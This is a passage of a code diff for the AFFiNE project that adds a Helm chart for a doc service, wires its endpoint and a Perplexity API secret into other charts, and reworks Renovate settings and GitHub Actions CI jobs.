export NODE_PORT=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath="{.spec.ports[0].nodePort}" services {{ include "doc.fullname" . }})
export NODE_IP=$(kubectl get nodes --namespace {{ .Release.Namespace }} -o jsonpath="{.items[0].status.addresses[0].address}")
echo http://$NODE_IP:$NODE_PORT
{{- else if contains "LoadBalancer" .Values.service.type }}
NOTE: It may take a few minutes for the LoadBalancer IP to be available.
You can watch the status of by running 'kubectl get --namespace {{ .Release.Namespace }} svc -w {{ include "doc.fullname" . }}'
export SERVICE_IP=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include "doc.fullname" . }} --template "{{"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}"}}")
echo http://$SERVICE_IP:{{ .Values.service.port }}
{{- else if contains "ClusterIP" .Values.service.type }}
export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l "app.kubernetes.io/name={{ include "doc.name" . }},app.kubernetes.io/instance={{ .Release.Name }}" -o jsonpath="{.items[0].metadata.name}")
export CONTAINER_PORT=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath="{.spec.containers[0].ports[0].containerPort}")
echo "Visit http://127.0.0.1:8080 to use your application"
kubectl --namespace {{ .Release.Namespace }} port-forward $POD_NAME 8080:$CONTAINER_PORT
{{- end }}
@@ -0,0 +1,63 @@
{{/*
Expand the name of the chart.
*/}}
{{- define "doc.name" -}}
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Create a default fully qualified app name.
We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).
If release name contains chart name it will be used as a full name.
*/}}
{{- define "doc.fullname" -}}
{{- if .Values.fullnameOverride }}
{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- $name := default .Chart.Name .Values.nameOverride }}
{{- if contains $name .Release.Name }}
{{- .Release.Name | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}
{{- end }}
{{- end }}
{{- end }}
{{/*
Create chart name and version as used by the chart label.
*/}}
{{- define "doc.chart" -}}
{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Common labels
*/}}
{{- define "doc.labels" -}}
helm.sh/chart: {{ include "doc.chart" . }}
{{ include "doc.selectorLabels" . }}
{{- if .Chart.AppVersion }}
app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
{{- end }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
monitoring: enabled
{{- end }}
{{/*
Selector labels
*/}}
{{- define "doc.selectorLabels" -}}
app.kubernetes.io/name: {{ include "doc.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
{{- end }}
{{/*
Create the name of the service account to use
*/}}
{{- define "doc.serviceAccountName" -}}
{{- if .Values.serviceAccount.create }}
{{- default (include "doc.fullname" .) .Values.global.docService.name }}
{{- else }}
{{- default "default" .Values.global.docService.name }}
{{- end }}
{{- end }}
@@ -0,0 +1,105 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ include "doc.fullname" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
spec:
replicas: {{ .Values.replicaCount }}
selector:
matchLabels:
{{- include "doc.selectorLabels" . | nindent 6 }}
template:
metadata:
{{- with .Values.podAnnotations }}
annotations:
{{- toYaml . | nindent 8 }}
{{- end }}
labels:
{{- include "doc.selectorLabels" . | nindent 8 }}
spec:
{{- with .Values.imagePullSecrets }}
imagePullSecrets:
{{- toYaml . | nindent 8 }}
{{- end }}
serviceAccountName: {{ include "doc.serviceAccountName" . }}
containers:
- name: {{ .Chart.Name }}
image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
env:
- name: AFFINE_PRIVATE_KEY
valueFrom:
secretKeyRef:
name: "{{ .Values.global.secret.secretName }}"
key: key
- name: NODE_ENV
value: "{{ .Values.env }}"
- name: NODE_OPTIONS
value: "--max-old-space-size=4096"
- name: NO_COLOR
value: "1"
- name: DEPLOYMENT_TYPE
value: "affine"
- name: SERVER_FLAVOR
value: "doc"
- name: AFFINE_ENV
value: "{{ .Release.Namespace }}"
- name: DATABASE_PASSWORD
valueFrom:
secretKeyRef:
name: pg-postgresql
key: postgres-password
- name: DATABASE_URL
value: postgres://{{ .Values.global.database.user }}:$(DATABASE_PASSWORD)@{{ .Values.global.database.url }}:{{ .Values.global.database.port }}/{{ .Values.global.database.name }}
- name: REDIS_SERVER_ENABLED
value: "true"
- name: REDIS_SERVER_HOST
value: "{{ .Values.global.redis.host }}"
- name: REDIS_SERVER_PORT
value: "{{ .Values.global.redis.port }}"
- name: REDIS_SERVER_USER
value: "{{ .Values.global.redis.username }}"
- name: REDIS_SERVER_PASSWORD
valueFrom:
secretKeyRef:
name: redis
key: redis-password
- name: REDIS_SERVER_DATABASE
value: "{{ .Values.global.redis.database }}"
- name: AFFINE_SERVER_PORT
value: "{{ .Values.global.docService.port }}"
- name: AFFINE_SERVER_SUB_PATH
value: "{{ .Values.app.path }}"
- name: AFFINE_SERVER_HOST
value: "{{ .Values.app.host }}"
- name: AFFINE_SERVER_HTTPS
value: "{{ .Values.app.https }}"
ports:
- name: http
containerPort: {{ .Values.global.docService.port }}
protocol: TCP
livenessProbe:
httpGet:
path: /info
port: http
initialDelaySeconds: {{ .Values.probe.initialDelaySeconds }}
readinessProbe:
httpGet:
path: /info
port: http
initialDelaySeconds: {{ .Values.probe.initialDelaySeconds }}
resources:
{{- toYaml .Values.resources | nindent 12 }}
{{- with .Values.nodeSelector }}
nodeSelector:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.affinity }}
affinity:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.tolerations }}
tolerations:
{{- toYaml . | nindent 8 }}
{{- end }}
@@ -0,0 +1,19 @@
apiVersion: v1
kind: Service
metadata:
name: {{ include "doc.fullname" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
{{- with .Values.service.annotations }}
annotations:
{{- toYaml . | nindent 4 }}
{{- end }}
spec:
type: {{ .Values.service.type }}
ports:
- port: {{ .Values.global.docService.port }}
targetPort: http
protocol: TCP
name: http
selector:
{{- include "doc.selectorLabels" . | nindent 4 }}
@@ -0,0 +1,12 @@
{{- if .Values.serviceAccount.create -}}
apiVersion: v1
kind: ServiceAccount
metadata:
name: {{ include "doc.serviceAccountName" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
{{- with .Values.serviceAccount.annotations }}
annotations:
{{- toYaml . | nindent 4 }}
{{- end }}
{{- end }}
@@ -0,0 +1,15 @@
apiVersion: v1
kind: Pod
metadata:
name: "{{ include "doc.fullname" . }}-test-connection"
labels:
{{- include "doc.labels" . | nindent 4 }}
annotations:
"helm.sh/hook": test
spec:
containers:
- name: wget
image: busybox
command: ['wget']
args: ['{{ include "doc.fullname" . }}:{{ .Values.global.docService.port }}']
restartPolicy: Never
@@ -0,0 +1,37 @@
replicaCount: 1
image:
repository: ghcr.io/toeverything/affine-graphql
pullPolicy: IfNotPresent
tag: ''
imagePullSecrets: []
nameOverride: ''
fullnameOverride: ''
# map to NODE_ENV environment variable
env: 'production'
app:
# AFFINE_SERVER_SUB_PATH
path: ''
# AFFINE_SERVER_HOST
host: '0.0.0.0'
https: true
serviceAccount:
create: true
annotations: {}
podAnnotations: {}
podSecurityContext:
fsGroup: 2000
resources:
requests:
cpu: '2'
memory: 4Gi
probe:
initialDelaySeconds: 20
nodeSelector: {}
tolerations: []
affinity: {}
@@ -3,7 +3,7 @@ name: graphql
description: AFFiNE GraphQL server
type: application
version: 0.0.0
appVersion: "0.18.0"
appVersion: "0.19.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0
@@ -7,5 +7,6 @@ type: Opaque
data:
openaiSecret: {{ .Values.app.copilot.openai.key | b64enc }}
falSecret: {{ .Values.app.copilot.fal.key | b64enc }}
perplexitySecret: {{ .Values.app.copilot.perplexity.key | b64enc }}
unsplashSecret: {{ .Values.app.copilot.unsplash.key | b64enc }}
{{- end }}
@@ -116,8 +116,8 @@ spec:
secretKeyRef:
name: "{{ .Values.app.payment.stripe.secretName }}"
key: stripeWebhookKey
- name: DOC_MERGE_INTERVAL
value: "{{ .Values.app.doc.mergeInterval }}"
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
{{ if .Values.app.experimental.enableJwstCodec }}
- name: DOC_MERGE_USE_JWST_CODEC
value: "true"
@@ -157,6 +157,11 @@ spec:
secretKeyRef:
name: "{{ .Values.app.copilot.secretName }}"
key: falSecret
- name: COPILOT_PERPLEXITY_API_KEY
valueFrom:
secretKeyRef:
name: "{{ .Values.app.copilot.secretName }}"
key: perplexitySecret
- name: COPILOT_UNSPLASH_API_KEY
valueFrom:
secretKeyRef:
@@ -17,8 +17,6 @@ app:
# AFFINE_SERVER_HOST
host: '0.0.0.0'
https: true
doc:
mergeInterval: "3000"
captcha:
enabled: false
secretName: captcha
@@ -94,6 +94,8 @@ spec:
name: "{{ .Values.global.objectStorage.r2.secretName }}"
key: secretAccessKey
{{ end }}
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
ports:
- name: http
containerPort: {{ .Values.service.port }}
+1 -1
View File
@@ -3,7 +3,7 @@ name: sync
description: AFFiNE Sync Server
type: application
version: 0.0.0
appVersion: "0.18.0"
appVersion: "0.19.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0
@@ -73,6 +73,8 @@ spec:
value: "{{ .Values.service.port }}"
- name: AFFINE_SERVER_HOST
value: "{{ .Values.app.host }}"
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
ports:
- name: http
containerPort: {{ .Values.service.port }}
+9
View File
@@ -39,6 +39,9 @@ global:
secretAccessKey: ''
gke:
enabled: true
docService:
name: 'affine-doc'
port: 3020
graphql:
service:
@@ -61,6 +64,12 @@ renderer:
annotations:
cloud.google.com/backend-config: '{"default": "affine-api-backendconfig"}'
doc:
service:
type: ClusterIP
annotations:
cloud.google.com/backend-config: '{"default": "affine-api-backendconfig"}'
web:
service:
type: ClusterIP
+8 -12
View File
@@ -7,15 +7,13 @@
"**/bower_components/**",
"**/vendor/**",
"**/examples/**",
"**/__tests__/**",
"**/test/**",
"**/__fixtures__/**"
"**/__tests__/**"
],
"packageRules": [
{
"matchPackagePatterns": ["^eslint", "^@typescript-eslint"],
"rangeStrategy": "replace",
"groupName": "linter"
"groupName": "linter",
"matchPackageNames": ["/^eslint/", "/^@typescript-eslint/"]
},
{
"matchDepNames": ["oxlint"],
@@ -24,17 +22,15 @@
},
{
"groupName": "blocksuite",
"matchPackagePatterns": ["^@blocksuite"],
"excludePackageNames": ["@blocksuite/icons"],
"rangeStrategy": "replace",
"changelogUrl": "https://github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md"
"changelogUrl": "https://github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md",
"matchPackageNames": ["/^@blocksuite/", "!@blocksuite/icons"]
},
{
"groupName": "all non-major dependencies",
"groupSlug": "all-minor-patch",
"matchPackagePatterns": ["*"],
"excludePackagePatterns": ["^@blocksuite/", "oxlint"],
"matchUpdateTypes": ["minor", "patch"]
"matchUpdateTypes": ["minor", "patch"],
"matchPackageNames": ["*", "!/^@blocksuite//", "!/oxlint/"]
},
{
"groupName": "rust toolchain",
@@ -43,7 +39,7 @@
},
{
"groupName": "nestjs",
"matchPackagePatterns": ["^@nestjs"]
"matchPackageNames": ["/^@nestjs/"]
}
],
"commitMessagePrefix": "chore: ",
+7 -8
View File
@@ -7,9 +7,6 @@ on:
type: string
required: true
env:
NX_CLOUD_ACCESS_TOKEN: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
permissions:
contents: 'write'
id-token: 'write'
@@ -30,7 +27,9 @@ jobs:
electron-install: false
extra-flags: workspaces focus @affine/server
- name: Build Server
run: yarn workspace @affine/server build
run: |
find packages/backend/server -type d -name "__tests__" -exec rm -rf {} +
yarn workspace @affine/server build
- name: Upload server dist
uses: actions/upload-artifact@v4
with:
@@ -50,7 +49,7 @@ jobs:
- name: Setup Node.js
uses: ./.github/actions/setup-node
- name: Build Core
run: yarn nx build @affine/web --skip-nx-cache
run: yarn affine @affine/web build
env:
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
R2_ACCESS_KEY_ID: ${{ secrets.R2_ACCESS_KEY_ID }}
@@ -83,7 +82,7 @@ jobs:
- name: Setup Node.js
uses: ./.github/actions/setup-node
- name: Build Admin
run: yarn nx build @affine/admin --skip-nx-cache
run: yarn affine @affine/admin build
env:
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
R2_ACCESS_KEY_ID: ${{ secrets.R2_ACCESS_KEY_ID }}
@@ -115,7 +114,7 @@ jobs:
- name: Setup Node.js
uses: ./.github/actions/setup-node
- name: Build Mobile
run: yarn nx build @affine/mobile --skip-nx-cache
run: yarn affine @affine/mobile build
env:
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
R2_ACCESS_KEY_ID: ${{ secrets.R2_ACCESS_KEY_ID }}
@@ -139,6 +138,7 @@ jobs:
name: Build Server native - ${{ matrix.targets.name }}
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
targets:
- name: x86_64-unknown-linux-gnu
@@ -163,7 +163,6 @@ jobs:
with:
target: ${{ matrix.targets.name }}
package: '@affine/server-native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- name: Upload ${{ matrix.targets.file }}
uses: actions/upload-artifact@v4
with:
+215 -88
View File
@@ -19,8 +19,6 @@ env:
AFFINE_ENV: dev
COVERAGE: true
MACOSX_DEPLOYMENT_TARGET: '10.13'
NX_CLOUD_ACCESS_TOKEN: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
PLAYWRIGHT_BROWSERS_PATH: ${{ github.workspace }}/node_modules/.cache/ms-playwright
DEPLOYMENT_TYPE: affine
concurrency:
@@ -28,9 +26,24 @@ concurrency:
cancel-in-progress: true
jobs:
optimize_ci:
name: Optimize CI
runs-on: ubuntu-latest
outputs:
skip: ${{ steps.check_skip.outputs.skip }}
steps:
- uses: actions/checkout@v4
- name: Graphite CI Optimizer
uses: withgraphite/graphite-ci-action@main
id: check_skip
with:
graphite_token: ${{ secrets.GRAPHITE_CI_OPTIMIZER_TOKEN }}
analyze:
name: Analyze
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
permissions:
actions: read
contents: read
@@ -78,6 +91,8 @@ jobs:
lint:
name: Lint
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
@@ -90,7 +105,7 @@ jobs:
electron-install: false
full-cache: true
- name: Run i18n codegen
run: yarn workspace @affine/i18n build
run: yarn affine @affine/i18n build
- name: Run ESLint
run: yarn lint:eslint --max-warnings=0
- name: Run Prettier
@@ -103,9 +118,31 @@ jobs:
- name: Run Type Check
run: yarn typecheck
lint-rust:
name: Lint Rust
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
- uses: ./.github/actions/build-rust
with:
no-build: 'true'
- name: fmt check
run: |
rustup toolchain add nightly
rustup component add --toolchain nightly-x86_64-unknown-linux-gnu rustfmt
cargo +nightly fmt --all -- --check
- name: Clippy
run: |
rustup component add clippy
cargo clippy --all-targets --all-features -- -D warnings
check-yarn-binary:
name: Check yarn binary
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
- name: Run check
@@ -113,9 +150,43 @@ jobs:
yarn set version $(node -e "console.log(require('./package.json').packageManager.split('@')[1])")
git diff --exit-code
e2e-legacy-blocksuite-test:
name: Legacy Blocksuite E2E Test
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
playwright-install: true
electron-install: false
full-cache: true
- name: Run playground build
run: yarn workspace @blocksuite/playground build
- name: Run playwright tests
run: yarn workspace @blocksuite/legacy-e2e test --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-legacy-bs-${{ matrix.shard }}
path: ./test-results
if-no-files-found: ignore
e2e-test:
name: E2E Test
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
DISTRIBUTION: web
IN_CI_TEST: true
@@ -133,10 +204,10 @@ jobs:
full-cache: true
- name: Run playwright tests
run: yarn workspace @affine-test/affine-local e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
run: yarn affine @affine-test/affine-local e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-${{ matrix.shard }}
@@ -146,6 +217,8 @@ jobs:
e2e-mobile-test:
name: E2E Mobile Test
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
DISTRIBUTION: mobile
IN_CI_TEST: true
@@ -163,54 +236,36 @@ jobs:
full-cache: true
- name: Run playwright tests
run: yarn workspace @affine-test/affine-mobile e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
run: yarn affine @affine-test/affine-mobile e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-mobile-${{ matrix.shard }}
path: ./test-results
if-no-files-found: ignore
e2e-migration-test:
name: E2E Migration Test
runs-on: ubuntu-latest
env:
DISTRIBUTION: web
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
playwright-install: true
electron-install: false
full-cache: true
- name: Run playwright tests
run: yarn workspace @affine-test/affine-migration e2e --forbid-only
- name: Upload test results
if: ${{ failure() }}
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-migration
path: ./test-results
if-no-files-found: ignore
unit-test:
name: Unit Test
runs-on: ubuntu-latest
needs:
- optimize_ci
- build-native
if: needs.optimize_ci.outputs.skip == 'false'
env:
DISTRIBUTION: web
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5]
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
electron-install: true
playwright-install: true
full-cache: true
- name: Download affine.linux-x64-gnu.node
@@ -220,7 +275,7 @@ jobs:
path: ./packages/frontend/native
- name: Unit Test
run: yarn nx test:coverage @affine/monorepo
run: yarn test:coverage --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload unit test coverage results
uses: codecov/codecov-action@v5
@@ -234,6 +289,8 @@ jobs:
build-native:
name: Build AFFiNE native (${{ matrix.spec.target }})
runs-on: ${{ matrix.spec.os }}
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
CARGO_PROFILE_RELEASE_DEBUG: '1'
strategy:
@@ -242,11 +299,16 @@ jobs:
spec:
- { os: ubuntu-latest, target: x86_64-unknown-linux-gnu }
- { os: windows-latest, target: x86_64-pc-windows-msvc }
- { os: macos-14, target: x86_64-apple-darwin }
- { os: macos-14, target: aarch64-apple-darwin }
- { os: macos-latest, target: x86_64-apple-darwin }
- { os: macos-latest, target: aarch64-apple-darwin }
steps:
- uses: actions/checkout@v4
- uses: samypr100/setup-dev-drive@v3
if: ${{ matrix.spec.os == 'windows-latest' }}
with:
workspace-copy: true
drive-size: 8GB
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
@@ -254,6 +316,7 @@ jobs:
electron-install: false
- name: Setup filename
id: filename
working-directory: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}
shell: bash
run: |
export PLATFORM_ARCH_ABI=$(node -e "console.log(require('@napi-rs/cli').parseTriple('${{ matrix.spec.target }}').platformArchABI)")
@@ -263,17 +326,19 @@ jobs:
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- name: Upload ${{ steps.filename.outputs.filename }}
uses: actions/upload-artifact@v4
if: always()
with:
name: ${{ steps.filename.outputs.filename }}
path: ./packages/frontend/native/${{ steps.filename.outputs.filename }}
path: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}/packages/frontend/native/${{ steps.filename.outputs.filename }}
if-no-files-found: error
build-server-native:
name: Build Server native
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
CARGO_PROFILE_RELEASE_DEBUG: '1'
steps:
@@ -288,9 +353,9 @@ jobs:
with:
target: 'x86_64-unknown-linux-gnu'
package: '@affine/server-native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- name: Upload server-native.node
uses: actions/upload-artifact@v4
if: always()
with:
name: server-native.node
path: ./packages/backend/native/server-native.node
@@ -299,7 +364,8 @@ jobs:
build-electron-renderer:
name: Build @affine/electron renderer
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
@@ -308,14 +374,14 @@ jobs:
electron-install: false
full-cache: true
- name: Build Electron renderer
# always skip cache because its fast, and cache configuration is always changing
run: yarn build
run: yarn affine @affine/electron-renderer build
env:
DISTRIBUTION: desktop
- name: zip web
run: tar -czf dist.tar.gz --directory=packages/frontend/apps/electron/renderer/dist .
run: tar -czf dist.tar.gz --directory=packages/frontend/apps/electron-renderer/dist .
- name: Upload web artifact
uses: actions/upload-artifact@v4
if: always()
with:
name: web
path: dist.tar.gz
@@ -324,11 +390,20 @@ jobs:
server-test:
name: Server Test
runs-on: ubuntu-latest
needs: build-server-native
needs:
- optimize_ci
- build-server-native
if: needs.optimize_ci.outputs.skip == 'false'
strategy:
fail-fast: false
matrix:
node_index: [0, 1, 2]
total_nodes: [3]
env:
NODE_ENV: test
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
services:
postgres:
image: postgres
@@ -341,6 +416,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
mailer:
image: mailhog/mailhog
ports:
@@ -365,10 +444,12 @@ jobs:
uses: ./.github/actions/server-test-env
- name: Run server tests
run: yarn workspace @affine/server test:coverage
run: yarn affine @affine/server test:coverage --forbid-only
env:
CARGO_TARGET_DIR: '${{ github.workspace }}/target'
COPILOT_OPENAI_API_KEY: 'use_fake_openai_api_key'
CI_NODE_INDEX: ${{ matrix.node_index }}
CI_NODE_TOTAL: ${{ matrix.total_nodes }}
- name: Upload server test coverage results
uses: codecov/codecov-action@v5
@@ -379,32 +460,39 @@ jobs:
name: affine
fail_ci_if_error: false
server-native-test:
name: Run server native tests
rust-test:
name: Run native tests
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
RUSTFLAGS: -D warnings
CARGO_TERM_COLOR: always
steps:
- uses: actions/checkout@v4
- name: Setup Rust
uses: ./.github/actions/setup-rust
uses: ./.github/actions/build-rust
with:
package: 'affine'
no-build: 'true'
- name: Install latest nextest release
uses: taiki-e/install-action@nextest
- name: Run tests
run: cargo nextest run --release
run: cargo nextest run --release --no-fail-fast
copilot-api-test:
name: Server Copilot Api Test
runs-on: ubuntu-latest
needs:
- optimize_ci
- build-server-native
if: needs.optimize_ci.outputs.skip == 'false'
env:
NODE_ENV: test
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
services:
postgres:
image: postgres
@@ -417,6 +505,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
mailer:
image: mailhog/mailhog
ports:
@@ -437,40 +529,42 @@ jobs:
fi
- uses: dorny/paths-filter@v3
id: filter
id: apifilter
with:
filters: |
backend:
- 'packages/backend/server/src/**'
changed:
- 'packages/backend/server/src/plugins/copilot/**'
- 'packages/backend/server/tests/copilot.*'
- name: Setup Node.js
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.filter.outputs.backend == 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
uses: ./.github/actions/setup-node
with:
electron-install: false
full-cache: true
- name: Download server-native.node
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.filter.outputs.backend == 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
uses: actions/download-artifact@v4
with:
name: server-native.node
path: ./packages/backend/server
- name: Prepare Server Test Environment
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.filter.outputs.backend == 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
uses: ./.github/actions/server-test-env
- name: Run server tests
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.filter.outputs.backend == 'true' }}
run: yarn workspace @affine/server test:copilot:coverage --forbid-only
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
run: yarn affine @affine/server test:copilot:coverage --forbid-only
env:
CARGO_TARGET_DIR: '${{ github.workspace }}/target'
COPILOT_OPENAI_API_KEY: ${{ secrets.COPILOT_OPENAI_API_KEY }}
COPILOT_FAL_API_KEY: ${{ secrets.COPILOT_FAL_API_KEY }}
COPILOT_PERPLEXITY_API_KEY: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
- name: Upload server test coverage results
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.filter.outputs.backend == 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
uses: codecov/codecov-action@v5
with:
token: ${{ secrets.CODECOV_TOKEN }}
@@ -486,6 +580,8 @@ jobs:
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
IN_CI_TEST: true
REDIS_SERVER_HOST: localhost
DEPLOYMENT_TYPE: affine
strategy:
fail-fast: false
matrix:
@@ -505,6 +601,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
steps:
- uses: actions/checkout@v4
@@ -519,8 +619,17 @@ jobs:
echo "skip=true" >> $GITHUB_OUTPUT
fi
- uses: dorny/paths-filter@v3
id: e2efilter
with:
filters: |
changed:
- 'packages/frontend/core/src/blocksuite/presets/ai/**'
- 'packages/frontend/core/src/components/blocksuite/block-suite-editor/ai/**'
- 'tests/affine-cloud-copilot/**'
- name: Setup Node.js
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.e2efilter.outputs.changed == 'true' }}
uses: ./.github/actions/setup-node
with:
playwright-install: true
@@ -528,48 +637,56 @@ jobs:
hard-link-nm: false
- name: Download server-native.node
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.e2efilter.outputs.changed == 'true' }}
uses: actions/download-artifact@v4
with:
name: server-native.node
path: ./packages/backend/server
- name: Run Copilot E2E Test ${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.e2efilter.outputs.changed == 'true' }}
uses: ./.github/actions/copilot-test
with:
script: yarn workspace @affine-test/affine-cloud-copilot e2e --forbid-only --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
script: yarn affine @affine-test/affine-cloud-copilot e2e --forbid-only --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
openai-key: ${{ secrets.COPILOT_OPENAI_API_KEY }}
fal-key: ${{ secrets.COPILOT_FAL_API_KEY }}
perplexity-key: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
server-e2e-test:
name: ${{ matrix.tests.name }}
runs-on: ubuntu-latest
needs:
- optimize_ci
- build-server-native
- build-native
if: needs.optimize_ci.outputs.skip == 'false'
env:
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
IN_CI_TEST: true
strategy:
fail-fast: false
matrix:
tests:
- name: 'Server E2E Test 1/3'
script: yarn workspace @affine-test/affine-cloud e2e --forbid-only --shard=1/3
shard: 1
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=1/3
- name: 'Server E2E Test 2/3'
script: yarn workspace @affine-test/affine-cloud e2e --forbid-only --shard=2/3
shard: 2
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=2/3
- name: 'Server E2E Test 3/3'
script: yarn workspace @affine-test/affine-cloud e2e --forbid-only --shard=3/3
shard: 3
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=3/3
- name: 'Server Desktop E2E Test'
shard: desktop
script: |
